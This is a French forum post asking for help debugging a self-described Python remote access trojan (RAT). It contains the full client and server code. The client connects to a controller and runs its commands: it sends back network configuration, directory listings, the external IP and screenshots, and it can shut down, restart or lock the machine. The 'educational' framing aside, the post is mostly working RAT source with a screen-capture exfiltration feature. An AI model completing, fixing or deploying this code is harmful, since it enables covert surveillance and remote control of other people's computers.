Bonjour à tous, je me suis lancé dans la création d'un R.A.T en python depuis très peu de temps, bien sûr à but totalement éducatif et meme pour avoir un accès à distance à mon ordinateur.

Dans mon programme j'ai créer de nombreuses commandes, dont une qui me permet de prendre une capture d'écran de l'ordinateur distant. Je teste le programme toutes les fonctions intégrées fonctionnent bien, mais après la prise de screenshot, si j'essaie d'utiliser une autre commande, cela me retourne une erreur. La voici :
Nom : errreur ratr.PNG
Affichages : 141
Taille : 21,2 Ko

Je ne comprend pas du tout le problème, c'est pour cela que je vous fourni le code source :

Le client :

Code : Sélectionner tout - Visualiser dans une fenêtre à part
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
import socket
import os
import sys
import subprocess
from PIL import ImageGrab
from datetime import datetime as dt
from urllib.request import urlopen
 
def sendconfirm():
    server_co.send(b'Command Executed / ' + location.encode())
 
hote = '127.0.0.1'
port = 25565
 
# location = os.path.realpath(sys.argv[0]);
location = os.getcwd()
location = location.replace("\\client.py","")
location = location.replace("\\client.exe","")
 
server_co = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
try:
    server_co.connect((hote, port))
except:
    print("Serveur indisponible")
    exit()
 
print("Connexion établie avec le serveur sur le port {}".format(port))
 
msg_recu = b""
while msg_recu != b"stop":
    msg_recu = server_co.recv(1024)
    # L'instruction ci-dessous peut lever une exception si le message
    # Réceptionné comporte des accents
    if msg_recu != b"stop":
 
        if msg_recu == b"ipconfig":
            p = subprocess.Popen('ipconfig /all', stdout=subprocess.PIPE, shell=True)
            out, error = p.communicate()
            server_co.send(out + b'\n')
        elif msg_recu == b'dir':
            p = subprocess.Popen('dir "'+ location + '"', stdout=subprocess.PIPE, shell=True)
            out, error = p.communicate()
            server_co.send(out + b'\n')
        elif msg_recu == b'externIP':
            addr = urlopen('http://ip.42.pl/raw').read()
            server_co.send(b"Addresse IP: " + addr + b'\n')
        elif msg_recu == b'screenshot':
            d1 = dt.now().strftime("%Y-%m-%d %H%M%S")
            screenshot = ImageGrab.grab()
            screenshot.save(str(str(d1) + ".png"), 'png')
            #server_co.send(b'Screenshot taken. Location: ' + location.encode() + b'\n')
 
            file = str(str(d1)+".png")+ " (" + str(os.path.getsize(d1+".png"))
            server_co.send(file.encode())
            with open(str(str(d1) + ".png"), 'rb') as f:
                    bytesToSend  = f.read(1024)
                    server_co.send(bytesToSend)
                    while bytesToSend != "":
                        bytesToSend = f.read(1024)
                        server_co.send(bytesToSend)
 
        else:
            msg_recu = msg_recu.decode()
 
            if msg_recu == "shutdown":
                os.system("shutdown /s /t 0")
                server_co.send(b'System will be stopped \n')
 
            if msg_recu == "restart":
                os.system("shutdown /r /t 0")
                server_co.send(b'System will be restarted \n')
 
            msg_recu = msg_recu.split(" ")
            if msg_recu[0] == "close" and msg_recu[1] == "session":
                os.system("shutdown /l")
                server_co.send(b'Session will be locked \n')
 
            if msg_recu[0] == "mkdir":
                os.system("mkdir \"" + os.getcwd() + "\\" + msg_recu[1] + "\"")
                server_co.send(b'Folder created \n')
            if len(msg_recu) > 1:
                if msg_recu[0] == "cd":
                    if msg_recu[1] != "..":
                        path = location+ '\\' + msg_recu[1]
                        if os.path.isdir(path):
                            location+='\\' + msg_recu[1]
                            os.chdir(location)
                            print(location)
                    elif msg_recu[1] != "":               
                        location = location.split("\\")
                        location.remove(location[len(location) - 1])
                        location = "\\".join(location)
                        os.chdir(location)
                    else:
                        pass
            else:
                pass      
            sendconfirm()
 
print("Fermeture de la connexion")
server_co.close()
os.system("pause")
Le serveur:
Code : Sélectionner tout - Visualiser dans une fenêtre à part
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
 
import socket
import os
from PIL import ImageGrab
from datetime import datetime
 
def screenshot(msg_recu):
    #msg_recu = client_co.recv(4096)
    #msg_recu = msg_recu.decode(encoding="utf-8", errors="ignore")
    print("Fichier : " + msg_recu + " Bytes)")
 
    ms = msg_recu.split('(')
    fileSize = ms[1]
 
    sshot = open("new_"+ms[0], "wb")
    data = client_co.recv(1024)
    totalRecv =len(data)
    sshot.write(data)
    print ("Download complete!")
    sshot.close()
 
def receive(i):
    msg_recu = client_co.recv(4096)
    msg_recu = msg_recu.decode(encoding="utf-8", errors="ignore")
 
    if msg_recu.find("(",0,35) == -1:
        msg_recu = msg_recu.split(' / ')
        print(msg_recu[0])
    else:
        screenshot(msg_recu)  
 
    if i == 0:
        loc = msg_recu[1]
        return loc
 
hote =''
port= 25565
main_co = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
main_co.bind((hote, port))
main_co.listen(5)
 
client_co, info =* main_co.accept()
 
msg= b""
location = ''
i=0
while msg != b"stop":
    msg = input(str(info[0]) + "@"+ location +" > ")
    # Peut planter si vous tapez des caractères spéciaux
 
    send_msg = msg.split(" ")
    if len(send_msg) > 1:
        if send_msg[0] == "cd":
                if send_msg[1] != "..":
                    path = location+ '\\' + send_msg[1]
                    if os.path.isdir(path):
                        location+='\\' + send_msg[1]
                    else:
                        print("Répertoire inexistant")
                elif send_msg[1] != "":
                    location = location.split("\\")
                    location.remove(location[len(location) - 1])
                    location = "\\".join(location)
                else:
                    print("Veuillez rentrer un nom de dossier\n")
    else:
        pass
    msg = msg.encode()
    # On envoie le message
    client_co.send(msg)
 
    #if send_msg[0] == "screenshot":
    #** screenshot()
    #
    if i == 0:
        location = receive(i)
    else:
        receive(i)
    i+=1
 
print("Fermeture de la connexion")
os.system("pause")
client_co.close()
main_co.close()

Merci pour vos futures réponses que j'attends impatiemment.